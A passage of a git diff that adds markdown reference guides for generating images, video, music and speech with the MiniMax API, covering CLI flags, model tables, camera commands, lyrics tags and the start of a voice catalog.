z2}jgBo{5B2Jw7<R>8WAS?+t%mE<*-$F>B;ICh=BylF62oeKwvBJC&fVBR?=3Lo0CK zZO;!6#&tCu$&B~9=(XUDJ&N7)TXGau#k^Dy&ySglA9YxuGXR7pN&dV)mx$pOUqP#n z#s|rUbi~$HQxph$)5%8>>!!Pth9}^O`ZWDFHy`q`t{G>lL)I;JmoFHYnSwxZ(;3Vy z-rN{_75xlI9a9kv^h5>_@F-#L#6$-qe>Yk3QK%E0$ZqZ#f-3F;xP$9Piu%!k`bsJv z^HgJSS;;o7(KM85Jo5d#o4tvJ*DgiGd>D{t=h2|F8V;s-<82D%*);uB34ld2PwF)5 zadlS`;jp4721jz3@Pw{}BJpa0|53EkRfsy<6lW+Ck7q(orOg>FbX8~=TeZ3SrZ$D5 zj&>}-h){AZS|Fs-upXmOjYmS%=5RhYLT!e_iAp#B4YZl>K%0&*wHbDx&5pd;=Eq@0 z{|^6qSXioJoIN2is|a$Vc@>5nau3NXWXQqN@cV3p`6cs8%UXqT0E?6ex+(ga>$dV= zPz)%RNW?6%(~7V>TW-EQxF=^r&>sJLBbH3Y43$II3r`n|(_z%X;_x03J!aS!<${R( z8WjCP9!*mQ!_`L2j==DtPh`zEmu#a?H|cU@eI$~AGS9Mz^+Lo~b|RggxIKZS1oV$* zQlnj6qbc+6ueB!<?f6G;<vj0W&-1^7GBYfC(rbl60_!j0bI79zwuV3=;?v}~=Kx{h z%E3%9oz4n3tXTE+*5N#+H&rJRyt=xrMVNh??{UOq*pbiC8guI*?^q_;9kv3;ji^GL z@>oOO@pP&?3_>!jcE8Q$52V@#h68b@+ku<>b~@oJ4F}<9Mb=Gz7L}IB_u9xh2MQLJ zIm+<Nq<V%v(Z>z<lAk?e)ZT)}!C~-K!x%$Q7w-K5`$u+3P)bb9L!0T=qf5fx)rYKc zbv`6$a_dx1*O3u`sfm0_13!qwEK#R3>M|T|p0xN7sHypj`G{g^>-XrEsNr-PQI`vz zp%>S4?5_2%p&%ME{J;A>GYjFn-)m+e{I|95u%Y#@fr^`b+q9o;^i37hUx!W!+j<@I zMlQ|_bxuj%)VVv+Hw4sg(KihKU#%lPOUl9T{4d13*oZ0scM%1ADZvAgE-<+FAZDKG zT3x0@U@9yh<eGx(1X>cm6<#ZjvLAW66-K+uzwllds}fzQOgcS4#wvP&!k3Iq6SmzZ zjS236k&*STPX0pOdRcRnoyv|tsJ)!rH5wRfcWJOtdi(rs(e5PX+$MM05Wl);_4lTF zMs0Sj%dm6J=JH1TluZ=9{Fm!8`$I_1NvR}8orP-+5q?;mWQ`^ZC=>_5Ic_D+aWI=s zW|32^U38UjtaS|-{X&1q(J2_GX@?B5CB>n{x*~;)w=1gZmTl$A&Sdv^6~+p$rdo7= zx;<5NIvqKOk{X!p>>EqDbjs=V@%0Y&9YH6+zP$V0I-Pviq!V2K?e+8Qnf3nwIyxaq zYuvoP#+%n0l8eR{M2@hAw15N?;<&N5Yy991$A`pmV;|M{VR78x=o(+H-~T3LgXiGe z#QoCOB`bWJU-&wjN8dK?MFveAf0Mt-u84aNBKB<ay$!CdA<BvFZSYHtg9+id!Lu}e zTpTy}fJWoS^#;vq5G(1p@isMn3;Kn%&PUiKIlHl*++tVQSnC2LAY=|=`wf^0*^P;p zHMXVeQ7|PJEpbaM;)eYzl}})GSos>3wYj`4x~IR*qD1mVzh+llK5F7oo@H6s*n^w6 zRtriYBhsALxmHuJ7er**uKg_QP7cT8!%4R*5Do`iykewB6Ul99Bj@A_#q%nhs@AhC z+WO+Aws2Cga<+o5u*FPogRL<kPLNz-LLwSl9m|?+xKq`5yqa?JN=q9#BfTw|7){f- z-dR`KDfm)1xbY2bnZdhaF`HN@;V-F2+iHgKBa;)qgFc^<tMBDGbvS<ObL5<O(EkNG CvY4#^ literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/references/asset-prompt-guide.md b/skills/frontend-dev/references/asset-prompt-guide.md new file mode 100644 index 0000000..bbaca50 --- /dev/null +++ b/skills/frontend-dev/references/asset-prompt-guide.md @@ -0,0 +1,43 @@ +# Prompt Engineering Guide + +## Image Prompts + +- Be specific about composition: "left-aligned subject with negative space on the right for text overlay" +- Specify lighting: "soft studio lighting", "golden hour backlight", "flat diffused light" +- Include style modifiers: "editorial photography", "3D render", "flat vector illustration" +- Add technical specs: "4K resolution, sharp focus, shallow depth of field" +- For web assets: always mention "clean background", "web-optimized", "high contrast for readability" +- **NEVER** include text in image prompts unless explicitly requested — AI text rendering is unreliable + +## Video Prompts + +- Use MiniMax camera commands in brackets: `[Push in]`, `[Truck left]`, `[Tracking shot]`, etc. +- Describe scene, subject, lighting, and mood — the API auto-optimizes prompts by default +- For web backgrounds: keep 6s duration, add `[Static shot]` for stability +- Max 2,000 characters + +## Audio / TTS + +- Specify genre, tempo (BPM), mood, and instruments +- For background music: "no vocals, suitable for background, not distracting" +- For sound effects: be extremely specific about the sound event +- For TTS: choose voice matching content language and speaker gender + +## Preset Shortcuts + +| Shortcut | Spec | +|----------|------| +| `hero` | 16:9 (1280x720) image, cinematic, text-safe space | +| `thumb` | 1:1 (1024x1024) image, centered subject | +| `icon` | 1:1 (1024x1024), flat style, clean background | +| `avatar` | 1:1 (1024x1024), portrait, circular crop ready | +| `banner` | 21:9 (1344x576), OG/social banner | +| `portrait` | 2:3 (832x1248), vertical portrait | +| `mobile` | 9:16 (720x1280), mobile fullscreen | +| `bg-video` | 768P, 6s, `[Static shot]`, MiniMax Hailuo-2.3 | +| `video` | 768P, 6s, MiniMax Hailuo-2.3, prompt auto-optimized | +| `video-hd` | 1080P, 6s, MiniMax Hailuo-2.3 | +| `bgm` | 30s background music, no vocals, loopable | +| `sfx` | Short sound effect, < 3s | +| `tts` | Text-to-speech, MiniMax HD, MP3 | +| `narration` | Expressive narration voice, MiniMax | diff --git a/skills/frontend-dev/references/env-setup.md b/skills/frontend-dev/references/env-setup.md new file mode 100644 index 0000000..169f6f1 --- /dev/null +++ b/skills/frontend-dev/references/env-setup.md @@ -0,0 +1,33 @@ +# Getting Started + +## 1. Set API key + +```bash +export MINIMAX_API_KEY="<paste-your-key-here>" +``` + +## 2. Install dependencies + +```bash +pip install requests + +# FFmpeg (optional, for audio post-processing) +# macOS: +brew install ffmpeg +# Ubuntu: +sudo apt install ffmpeg +``` + +## 3. Quick test + +```bash +python scripts/minimax_tts.py "Hello world" -o test.mp3 +``` + +If successful, you'll see `OK: xxxxx bytes -> test.mp3`. + +## Next steps + +- **Voice selection**: See [minimax-voice-catalog.md](minimax-voice-catalog.md) +- **TTS workflows**: See [minimax-tts-guide.md](minimax-tts-guide.md) +- **Troubleshooting**: See [troubleshooting.md](troubleshooting.md) diff --git a/skills/frontend-dev/references/minimax-cli-reference.md b/skills/frontend-dev/references/minimax-cli-reference.md new file mode 100644 index 0000000..6b6497b --- /dev/null +++ b/skills/frontend-dev/references/minimax-cli-reference.md @@ -0,0 +1,133 @@ +# Provider Reference — MiniMax + +All asset generation uses MiniMax API. Env: `MINIMAX_API_KEY` (required). + +## Audio (Sync TTS) + +**Script:** `scripts/minimax_tts.py` + +```bash +python scripts/minimax_tts.py "Hello world" -o output.mp3 +python scripts/minimax_tts.py "你好" -o hi.mp3 -v female-shaonv +python scripts/minimax_tts.py "Welcome" -o out.wav -v male-qn-jingying --speed 0.8 --format wav +``` + +**Model:** `speech-2.8-hd` (default). + +| Flag | Default | Range / Options | +|------|---------|-----------------| +| `-o` | (required) | Output file path | +| `-v` | `male-qn-qingse` | Voice ID | +| `--model` | `speech-2.8-hd` | speech-2.8-hd / speech-2.8-turbo / speech-2.6-hd / speech-2.6-turbo | +| `--speed` | 1.0 | 0.5–2.0 | +| `--volume` | 1.0 | 0.1–10 | +| `--pitch` | 0 | -12 to 12 | +| `--emotion` | (auto) | happy / sad / angry / fearful / disgusted / surprised / calm / fluent / whisper | +| `--format` | mp3 | mp3 / wav / flac | +| `--lang` | auto | Language boost | + +**Programmatic:** +```python +from minimax_tts import tts +audio_bytes = tts("Hello", voice_id="female-shaonv") +``` + + +## Video (Text-to-Video) + +**Script:** `scripts/minimax_video.py` + +```bash +python scripts/minimax_video.py "A cat playing piano" -o cat.mp4 +python scripts/minimax_video.py "Ocean waves [Truck left]" -o waves.mp4 --duration 10 +python scripts/minimax_video.py "City skyline [Push in]" -o city.mp4 --resolution 1080P +``` + +**Model:** `MiniMax-Hailuo-2.3` (default). Async: script handles create → poll → download automatically. + +| Flag | Default | Options | +|------|---------|---------| +| `-o` | (required) | Output file path (.mp4) | +| `--model` | `MiniMax-Hailuo-2.3` | MiniMax-Hailuo-2.3 / MiniMax-Hailuo-02 / T2V-01-Director / T2V-01 | +| `--duration` | 6 | 6 / 10 (10s only at 768P with Hailuo models) | +| `--resolution` | 768P | 720P / 768P / 1080P (1080P only 6s) | +| `--no-optimize` | false | Disable prompt auto-optimization | +| `--poll-interval` | 10 | Seconds between status checks | +| `--max-wait` | 600 | Max wait time in seconds | + +**Camera commands** — insert `[Command]` in prompt: `[Push in]`, `[Truck left]`, `[Pan right]`, `[Zoom out]`, `[Static shot]`, `[Tracking shot]`, etc. + +**Programmatic:** +```python +from minimax_video import generate +generate("A cat playing piano", "cat.mp4", model="MiniMax-Hailuo-2.3", duration=6) +``` + +See [minimax-video-guide.md](minimax-video-guide.md) for full camera command list and model compatibility. + +## Image (Text-to-Image) + +**Script:** `scripts/minimax_image.py` + +```bash +python scripts/minimax_image.py "A cat astronaut in space" -o cat.png +python scripts/minimax_image.py "Mountain landscape" -o hero.png --ratio 16:9 +python scripts/minimax_image.py "Product icons, flat style" -o icons.png -n 4 --seed 42 +``` + +**Model:** `image-01`. Sync: returns image URL (or base64) immediately. + +| Flag | Default | Options | +|------|---------|---------| +| `-o` | (required) | Output file path (.png/.jpg) | +| `--ratio` | 1:1 | 1:1 / 16:9 / 4:3 / 3:2 / 2:3 / 3:4 / 9:16 / 21:9 | +| `-n` | 1 | Number of images (1–9) | +| `--seed` | (random) | Seed for reproducibility | +| `--optimize` | false | Enable prompt auto-optimization | +| `--base64` | false | Return base64 instead of URL | + +**Batch output:** with `-n > 1`, files are named `out-0.png`, `out-1.png`, etc. + +**Programmatic:** +```python +from minimax_image import generate_image, download_and_save +result = generate_image("A cat in space", aspect_ratio="16:9") +download_and_save(result["data"]["image_urls"][0], "cat.png") +``` + +See [minimax-image-guide.md](minimax-image-guide.md) for ratio dimensions and details. + +## Music (Text-to-Music) + +**Script:** `scripts/minimax_music.py` + +```bash +python scripts/minimax_music.py --prompt "Indie folk, melancholic" --lyrics "[verse]\nStreetlights flicker" -o song.mp3 +python scripts/minimax_music.py --prompt "Upbeat pop, energetic" --auto-lyrics -o pop.mp3 +python scripts/minimax_music.py --prompt "Jazz piano, smooth, relaxing" --instrumental -o jazz.mp3 +``` + +**Model:** `music-2.5+` (default). Sync: returns audio hex or URL. + +| Flag | Default | Options | +|------|---------|---------| +| `-o` | (required) | Output file path (.mp3/.wav) | +| `--prompt` | (empty) | Music description: style, mood, scenario (max 2000 chars) | +| `--lyrics` | (empty) | Song lyrics with structure tags (max 3500 chars) | +| `--lyrics-file` | (empty) | Read lyrics from file | +| `--model` | `music-2.5+` | music-2.5+ / music-2.5 | +| `--instrumental` | false | Generate instrumental only (no vocals, music-2.5+ only) | +| `--auto-lyrics` | false | Auto-generate lyrics from prompt | +| `--format` | mp3 | mp3 / wav / pcm | +| `--sample-rate` | 44100 | 16000 / 24000 / 32000 / 44100 | +| `--bitrate` | 256000 | 32000 / 64000 / 128000 / 256000 | + +**Lyrics structure tags:** `[Intro]`, `[Verse]`, `[Pre Chorus]`, `[Chorus]`, `[Interlude]`, `[Bridge]`, `[Outro]`, `[Post Chorus]`, `[Transition]`, `[Break]`, `[Hook]`, `[Build Up]`, `[Inst]`, `[Solo]` + +**Programmatic:** +```python +from minimax_music import generate_music +result = generate_music(prompt="Jazz piano", is_instrumental=True) +with open("jazz.mp3", "wb") as f: + f.write(result["audio_bytes"]) +``` diff --git a/skills/frontend-dev/references/minimax-image-guide.md b/skills/frontend-dev/references/minimax-image-guide.md new file mode 100644 index 0000000..b4938ac --- /dev/null +++ b/skills/frontend-dev/references/minimax-image-guide.md @@ -0,0 +1,65 @@ +# Image Generation Guide + +## CLI usage + +```bash +# Basic (1:1, 1024x1024) +python scripts/minimax_image.py "A cat astronaut floating in space" -o cat.png + +# 16:9 for hero banner +python scripts/minimax_image.py "Mountain landscape at golden hour" -o hero.png --ratio 16:9 + +# Batch: 4 images at once +python scripts/minimax_image.py "Minimalist product icon" -o icons.png -n 4 + +# With seed for reproducibility +python scripts/minimax_image.py "Abstract gradient background" -o bg.png --seed 42 + +# Enable prompt optimization +python scripts/minimax_image.py "a dog" -o dog.png --optimize + +# Base64 mode (no URL download, save directly) +python scripts/minimax_image.py "Logo concept" -o logo.png --base64 +``` + +## Programmatic usage + +```python +from minimax_image import generate_image, download_and_save + +# Generate and get URL +result = generate_image("A cat in space", aspect_ratio="16:9") +url = result["data"]["image_urls"][0] +download_and_save(url, "cat.png") + +# Generate multiple +result = generate_image("Icon design", n=4, aspect_ratio="1:1") +for i, url in enumerate(result["data"]["image_urls"]): + download_and_save(url, f"icon-{i}.png") +``` + +## Model + +Currently only `image-01`. + +## Aspect ratios & dimensions + +| Ratio | Pixels | Use case | +|-------|--------|----------| +| `1:1` | 1024x1024 | Avatar, icon, square thumbnail | +| `16:9` | 1280x720 | Hero banner, video thumbnail | +| `4:3` | 1152x864 | Standard landscape | +| `3:2` | 1248x832 | Photo-style | +| `2:3` | 832x1248 | Portrait, mobile | +| `3:4` | 864x1152 | Portrait card | +| `9:16` | 720x1280 | Mobile fullscreen, story | +| `21:9` | 1344x576 | Ultra-wide banner | + +Custom dimensions also supported: width/height in [512, 2048], must be divisible by 8. + +## Limits + +- Prompt: max 1,500 characters +- Batch: 1–9 images per request +- URL expires after 24 hours (use `--base64` to avoid expiry) +- Seed: set for reproducible results across identical prompts diff --git a/skills/frontend-dev/references/minimax-music-guide.md b/skills/frontend-dev/references/minimax-music-guide.md new file mode 100644 index 0000000..6b9df67 --- /dev/null +++ b/skills/frontend-dev/references/minimax-music-guide.md @@ -0,0 +1,216 @@ +# Music Generation Guide + +## CLI Usage + +```bash +# Instrumental (no vocals) +python scripts/minimax_music.py --prompt "Jazz piano, smooth, relaxing" --instrumental -o jazz.mp3 + +# With custom lyrics +python scripts/minimax_music.py --prompt "Indie folk, melancholic" --lyrics "[verse]\nStreetlights flicker\nOn empty roads" -o song.mp3 + +# Auto-generate lyrics from prompt +python scripts/minimax_music.py --prompt "Upbeat pop, energetic, summer vibes" --auto-lyrics -o pop.mp3 + +# From lyrics file +python scripts/minimax_music.py --prompt "Soulful blues, rainy night" --lyrics-file lyrics.txt -o blues.mp3 + +# Custom audio settings +python scripts/minimax_music.py --prompt "Lo-fi beats" --instrumental -o lofi.wav --format wav --sample-rate 44100 --bitrate 256000 +``` + +## Programmatic Usage + +```python +from minimax_music import generate_music + +# Instrumental +result = generate_music(prompt="Jazz piano, smooth", is_instrumental=True) +with open("jazz.mp3", "wb") as f: + f.write(result["audio_bytes"]) + +# With lyrics +result = generate_music( + prompt="Indie folk, acoustic guitar", + lyrics="[verse]\nWalking through the rain\n[chorus]\nI'll find my way home", +) + +# Auto-generate lyrics +result = generate_music( + prompt="Upbeat pop, summer anthem", + lyrics_optimizer=True, +) + +# Access metadata +print(f"Duration: {result['duration']}ms") +print(f"Sample rate: {result['sample_rate']}") +print(f"Size: {result['size']} bytes") +``` + +## Models + +| Model | Features | +|-------|----------| +| `music-2.5+` | Recommended. Supports instrumental mode, complete song structures, hi-fi audio | +| `music-2.5` | Standard model. No instrumental mode | + +## Prompt Writing + +The `prompt` parameter describes music style using comma-separated descriptors: + +| Category | Examples | +|----------|----------| +| Genre | Blues, Pop, Rock, Jazz, Electronic, Hip-hop, Folk, Classical | +| Mood | Soulful, Melancholy, Upbeat, Energetic, Peaceful, Dark, Nostalgic | +| Scenario | Rainy night, Summer day, Road trip, Late night, Sunrise | +| Instrumentation | Electric guitar, Piano, Acoustic, Synthesizer, Strings | +| Vocal type | Male vocals, Female vocals, Soft vocals, Powerful vocals | +| Tempo | Slow tempo, Fast tempo, Mid-tempo, Relaxed | + +**Example prompts:** +``` +"Soulful Blues, Rainy Night, Melancholy, Male Vocals, Slow Tempo" +"Upbeat Pop, Summer Vibes, Female Vocals, Energetic, Synth-heavy" +"Lo-fi Hip-hop, Chill, Relaxed, Instrumental, Piano samples" +"Cinematic Orchestral, Epic, Building tension, Strings and Brass" +``` + +## Lyrics Format + +Use structure tags in brackets to organize song sections: + +### Structure Tags + +| Tag | Purpose | +|-----|---------| +| `[Intro]` | Opening section (can be instrumental) | +| `[Verse]` / `[Verse 1]` | Story/narrative sections | +| `[Pre-Chorus]` | Build-up before chorus | +| `[Chorus]` | Main hook, typically repeated | +| `[Post Chorus]` | Extension after chorus | +| `[Bridge]` | Contrasting section near end | +| `[Interlude]` | Instrumental break | +| `[Solo]` | Instrumental solo (add direction: "slow, bluesy") | +| `[Outro]` | Closing section | +| `[Break]` | Short pause or transition | +| `[Hook]` | Catchy repeated phrase | +| `[Build Up]` | Tension building section | +| `[Inst]` | Instrumental section | +| `[Transition]` | Section change | + +### Backing Vocals & Directions + +Use parentheses for backing vocals or performance notes: +``` +(Ooh, yeah) +(Harmonize) +(Whispered) +(Fade out...) +``` + +### Example Lyrics + +``` +[Intro] +(Soft piano) + +[Verse 1] +Streetlights flicker on empty roads +The rain keeps falling, the wind still blows +I'm walking home with nowhere to go +Just memories of what I used to know + +[Pre-Chorus] +And I can feel it coming back to me +(Coming back to me) + +[Chorus] +Under the neon lights tonight +I'm searching for what feels right +(Oh, feels right) +These city streets will guide me home +I'm tired of feeling so alone + +[Verse 2] +Coffee shops and midnight trains +The faces change but the feeling remains +... + +[Bridge] +Maybe tomorrow will be different +Maybe I'll finally understand +(Understand...) + +[Solo] +(Slow, mournful, bluesy guitar) + +[Outro] +(Fade out...) +Under the neon lights... +``` + +## Audio Settings + +| Parameter | Options | Default | Notes | +|-----------|---------|---------|-------| +| `format` | mp3, wav, pcm | mp3 | WAV for highest quality | +| `sample_rate` | 16000, 24000, 32000, 44100 | 44100 | 44100 recommended | +| `bitrate` | 32000, 64000, 128000, 256000 | 256000 | Higher = better quality | + +## Generation Modes + +### 1. Instrumental Only +```bash +python scripts/minimax_music.py --prompt "Ambient electronic, space theme" --instrumental -o ambient.mp3 +``` +- Requires `music-2.5+` model +- Only `prompt` needed, no lyrics + +### 2. With Custom Lyrics +```bash +python scripts/minimax_music.py --prompt "Pop ballad, emotional" --lyrics "[verse]\nYour lyrics here" -o ballad.mp3 +``` +- Provide both `prompt` (style) and `lyrics` (words + structure) + +### 3. Auto-Generated Lyrics +```bash +python scripts/minimax_music.py --prompt "Rock anthem about freedom" --auto-lyrics -o rock.mp3 +``` +- System generates lyrics from prompt +- Good for quick generation when lyrics aren't critical + +## Limits + +- **Prompt:** max 2,000 characters +- **Lyrics:** 1–3,500 characters +- **Duration:** ~25-30 seconds per generation (varies) +- **URL expiration:** 24 hours (when using URL output mode) + +## Best Practices + +1. **Layer style descriptors** — Combine genre + mood + instrumentation for precise results +2. **Use structure tags** — Even simple `[verse]` `[chorus]` improves arrangement +3. **Include backing vocal cues** — `(Ooh)`, `(Yeah)` add production polish +4. **Match prompt to lyrics mood** — Conflicting prompt/lyrics produce inconsistent results +5. **Instrumental for backgrounds** — Use `--instrumental` for BGM, avoiding vocal distractions +6. **High bitrate for production** — Use 256000 for final assets, lower for drafts + +## Common Use Cases + +| Use Case | Command | +|----------|---------| +| Background music | `--prompt "Lo-fi, calm, ambient" --instrumental` | +| Landing page hero | `--prompt "Cinematic, inspiring, building" --instrumental` | +| Podcast intro | `--prompt "Upbeat, energetic, short" --instrumental` | +| Demo song | `--prompt "Pop, catchy" --auto-lyrics` | +| Custom jingle | `--prompt "Happy, bright, corporate" --lyrics "[hook]\nYour brand name"` | + +## Error Handling + +| Error Code | Meaning | Solution | +|------------|---------|----------| +| 1002 | Rate limit | Wait and retry | +| 1004 | Auth failed | Check API key | +| 1008 | Insufficient balance | Top up account | +| 1026 | Content flagged | Rephrase prompt/lyrics | +| 2013 | Invalid parameters | Check prompt/lyrics length | diff --git a/skills/frontend-dev/references/minimax-tts-guide.md b/skills/frontend-dev/references/minimax-tts-guide.md new file mode 100644 index 0000000..a663be7 --- /dev/null +++ b/skills/frontend-dev/references/minimax-tts-guide.md @@ -0,0 +1,78 @@ +# TTS Guide + +## CLI usage (recommended) + +```bash +# Basic +python scripts/minimax_tts.py "Hello world" -o output.mp3 + +# Custom voice and speed +python scripts/minimax_tts.py "你好世界" -o hi.mp3 -v female-shaonv --speed 0.9 + +# WAV format, high quality +python scripts/minimax_tts.py "Welcome" -o out.wav -v male-qn-jingying --format wav --sample-rate 32000 + +# With emotion (for speech-2.6 models) +python scripts/minimax_tts.py "Great news!" -o happy.mp3 -v female-shaonv --emotion happy --model speech-2.6-hd +``` + +## Programmatic usage + +```python +from minimax_tts import tts + +# Basic +audio_bytes = tts("Hello world") + +# With options +audio_bytes = tts( + text="Welcome to our product.", + voice_id="female-shaonv", + model="speech-2.8-hd", + speed=0.9, + fmt="mp3", +) + +# Save to file +with open("output.mp3", "wb") as f: + f.write(audio_bytes) +``` + +## Limits + +- **Sync TTS:** max 10,000 characters per request +- **Pause markers:** insert `<#1.5#>` for a 1.5s pause (range: 0.01–99.99s) + +## Model selection + +| Model | Best for | +|-------|----------| +| `speech-2.8-hd` | Highest quality, auto emotion (recommended) | +| `speech-2.8-turbo` | Fast, good quality | +| `speech-2.6-hd` | Manual emotion control needed | +| `speech-2.6-turbo` | Fast + manual emotion | + +## Voice selection + +See [minimax-voice-catalog.md](minimax-voice-catalog.md) for the full list. + +Common voices: + +| Voice ID | Gender | Style | +|----------|--------|-------| +| `male-qn-qingse` | Male | Young, gentle | +| `male-qn-jingying` | Male | Elite, authoritative | +| `male-qn-badao` | Male | Dominant, powerful | +| `female-shaonv` | Female | Young, bright | +| `female-yujie` | Female | Mature, elegant | +| `female-chengshu` | Female | Sophisticated | +| `presenter_male` | Male | News presenter | +| `presenter_female` | Female | News presenter | +| `audiobook_male_1` | Male | Audiobook narrator | +| `audiobook_female_1` | Female | Audiobook narrator | + +## Best practices + +- Use `speech-2.8-hd` and let emotion auto-match — don't manually set emotion unless needed +- Use 32000 sample rate for web audio (good balance of quality and file size) +- For long text (>10,000 chars), split into chunks and merge with FFmpeg diff --git a/skills/frontend-dev/references/minimax-video-guide.md b/skills/frontend-dev/references/minimax-video-guide.md new file mode 100644 index 0000000..2700a2c --- /dev/null +++ b/skills/frontend-dev/references/minimax-video-guide.md @@ -0,0 +1,82 @@ +# Video Generation Guide + +## CLI usage + +```bash +# Basic +python scripts/minimax_video.py "A cat playing piano in a cozy room" -o cat.mp4 + +# With camera control +python scripts/minimax_video.py "Ocean waves crashing on rocks [Truck left]" -o waves.mp4 + +# 10 seconds, 1080P +python scripts/minimax_video.py "City skyline at sunset [Push in]" -o city.mp4 --duration 10 --resolution 1080P + +# Disable prompt auto-optimization +python scripts/minimax_video.py "Exact prompt I want used" -o out.mp4 --no-optimize +``` + +## Programmatic usage + +```python +from minimax_video import generate, create_task, poll_task, download_video + +# Full pipeline (blocking) +generate("A cat playing piano", "cat.mp4", model="MiniMax-Hailuo-2.3", duration=6) + +# Step by step +task_id = create_task("A cat playing piano") +file_id = poll_task(task_id, interval=10, max_wait=600) +download_video(file_id, "cat.mp4") +``` + +## Models + +| Model | Resolution | Duration | Notes | +|-------|-----------|----------|-------| +| `MiniMax-Hailuo-2.3` | 768P, 1080P | 6s, 10s (768P only) | Latest, recommended | +| `MiniMax-Hailuo-02` | 768P, 1080P | 6s, 10s (768P only) | Previous gen | +| `T2V-01-Director` | 720P | 6s | Camera control optimized | +| `T2V-01` | 720P | 6s | Base model | + +## Camera commands + +Insert `[Command]` in prompt text to control camera movement: + +| Command | Effect | +|---------|--------| +| `[Truck left]` | Camera moves left | +| `[Truck right]` | Camera moves right | +| `[Push in]` | Camera moves toward subject | +| `[Pull out]` | Camera moves away from subject | +| `[Pan left]` | Camera rotates left (fixed position) | +| `[Pan right]` | Camera rotates right (fixed position) | +| `[Tilt up]` | Camera tilts upward | +| `[Tilt down]` | Camera tilts downward | +| `[Pedestal up]` | Camera rises vertically | +| `[Pedestal down]` | Camera lowers vertically | +| `[Zoom in]` | Lens zooms in | +| `[Zoom out]` | Lens zooms out | +| `[Static shot]` | No camera movement | +| `[Tracking shot]` | Camera follows subject | +| `[Shake]` | Handheld shake effect | + +Example: `"A runner sprints through a forest trail [Tracking shot]"` + +## Pipeline + +The script handles the full async flow: + +1. **Create task** — `POST /v1/video_generation` → returns `task_id` +2. **Poll status** — `GET /v1/query/video_generation?task_id=xxx` → poll until `Success` + - Status values: `Preparing` → `Queueing` → `Processing` → `Success` / `Fail` +3. **Download** — `GET /v1/files/retrieve?file_id=xxx` → get `download_url` (valid 1 hour) → save file + +Typical generation time: 1–5 minutes depending on duration and resolution. + +## Limits + +- Prompt: max 2,000 characters +- 1080P: only supports 6s duration +- 10s duration: only available at 768P with Hailuo-2.3/02 +- Download URL expires after 1 hour diff --git a/skills/frontend-dev/references/minimax-voice-catalog.md b/skills/frontend-dev/references/minimax-voice-catalog.md new file mode 100644 index 0000000..2e4c999 --- /dev/null +++ b/skills/frontend-dev/references/minimax-voice-catalog.md @@ -0,0 +1,686 @@ +# MiniMax Voice Catalog + +Complete reference for all available voices in the MiniMax Voice API. + +## Contents + +- [Voice Recommendation](#voice-recommendation) - Find voices by content type and characteristics +- [System Voices List (categorized by language)](#system-voices-list-categorized-by-language) - Complete voice database by language +- [Voice Parameters](#voice-parameters) - Configure voice settings (speed, volume, pitch, emotion) +- [Custom Voices](#custom-voices) - Voice cloning and voice design options +- [Voice Comparison Table](#voice-comparison-table) - Quick reference comparison +- [Voice IDs for Quick Reference](#voice-ids-for-quick-reference) - Most popular voices at a glance + +--- + +## 1. How to Choose a Voice + +When selecting a voice, follow this two-step decision process to ensure the voice matches the scenario, gender, age, and language of the character. + +### Step 1: Identify the Usage Scenario + +First, determine whether your content falls into one of the **three professional domains** listed in **Section 2.1**: + +| Professional Domain | Examples | +|---|---| +| **Narration & Narrator in Storytelling** | suitable for the narrator in Audiobooks, fiction narration, storytelling | +| **News & Announcements** | suitable for news broadcasts, formal announcements, press releases | +| **Documentary** | suitable for documentary narration, commentary, educational films | + +**If your content matches one of these professional domains:** +→ Prioritize selecting from the recommended voices in **Section 2.1**, filtering by scenario and the speaker's **gender**. +These voices are specifically optimized for their respective professional use cases (pacing, clarity, tone). + +**If your content does NOT fall into these three professional domains:** +→ Proceed to Step 2 below. + +### Step 2: Select by Character Traits (Gender + Age + Language) + +For non-professional scenarios, select a voice from **Section 2.2** based on the following three character traits, in strict priority order: + +1. **Gender** (highest priority, non-negotiable) + - Male characters → **must** use male voices + - Female characters → **must** use female voices + - Never mismatch gender, even if other traits seem to fit + +2. **Age** (determines which subsection to look in) + - **Children** → Section 2.2 "Children's Voices" + - **Youth** (teens, young adults) → Section 2.2 "Youthful Voices" + - **Adult** → Section 2.2 "Adult Voices" + - **Elderly** → Section 2.2 "Elderly Voices" + +3. **Language** (must match the content language) + - The voice **must** match the language of the content being generated + - Chinese content → select Chinese voices; Korean content → select Korean voices; English content → select English voices, etc. + - If no exact language match exists in Section 2.2, fall back to the full **System Voices List** (Section 3) for the target language + +After narrowing down candidates by these three traits, choose the best match based on the voice's **personality**, **tone**, and **use case** as described in each voice entry. + +### Quick Reference Decision Flow + +``` +Content Type? +├── Story/Narration/News/Documentary → Section 2.1 (filter by scenario + gender) +└── Other scenarios → Section 2.2: + ├── 1. Match Gender (mandatory) + ├── 2. Match Age Group (Children/Youth/Adult/Elderly/Professional) + ├── 3. Match Language (must match content language) + └── 4. Choose best fit by personality/tone +``` + +--- + + +## 2. Voice Recommendation + +### 2.1 By Content Type + +**Narration & Narrator in Storytelling** +- Recommended: `audiobook_female_1`, `audiobook_male_1` +- Characteristics: suitable for narrating stories, sustained performance, clear articulation, good pacing + +**News & Announcements** +- Recommended: `Chinese (Mandarin)_News_Anchor`, `Chinese (Mandarin)_Male_Announcer` +- Characteristics: Authoritative, clear, professional pacing + +**Documentary** +- Recommended: `doc_commentary` +- Characteristics: Professional, clear, consistent pacing + + +### 2.2 By Characteristics + +#### Children's Voices + +| voice_id | Name | Description | Best For | Language | +|----------|------|-------------|----------|----------| +| `clever_boy` | 聪明男童 | Smart, witty boy voice | Children's content, educational | Chinese (Mandarin) | +| `cute_boy` | 可爱男童 | Adorable young boy voice | Kids' content, animations | Chinese (Mandarin) | +| `lovely_girl` | 萌萌女童 | Cute, sweet girl voice | Children's stories, games | Chinese (Mandarin) | +| `cartoon_pig` | 卡通猪小琪 | Cartoon character voice | Animations, comedy, entertainment | Chinese (Mandarin) | +| `Korean_SweetGirl` | Sweet Girl | Sweet, adorable young girl voice | Children's content, romance | Korean | +| `Indonesian_SweetGirl` | Sweet Girl | Sweet, adorable girl voice | Children's content, friendly | Indonesian | +| `English_Sweet_Girl` | Sweet Girl | Sweet, innocent young girl voice | Children's content, friendly | English | +| `Spanish_Kind-heartedGirl` | Kind-hearted Girl | Warm, compassionate girl voice | Children's content, warm | Spanish | +| `Portuguese_Kind-heartedGirl` | Kind-hearted Girl | Warm, compassionate girl voice | Children's content, warm | Portuguese | + +#### Youthful Voices + +| voice_id | Name | Description | Best For | Language | +|----------|------|-------------|----------|----------| +| `male-qn-qingse` | 青涩青年 | Youthful, inexperienced young man voice | Campus stories, coming-of-age content | Chinese (Mandarin) | +| `male-qn-daxuesheng` | 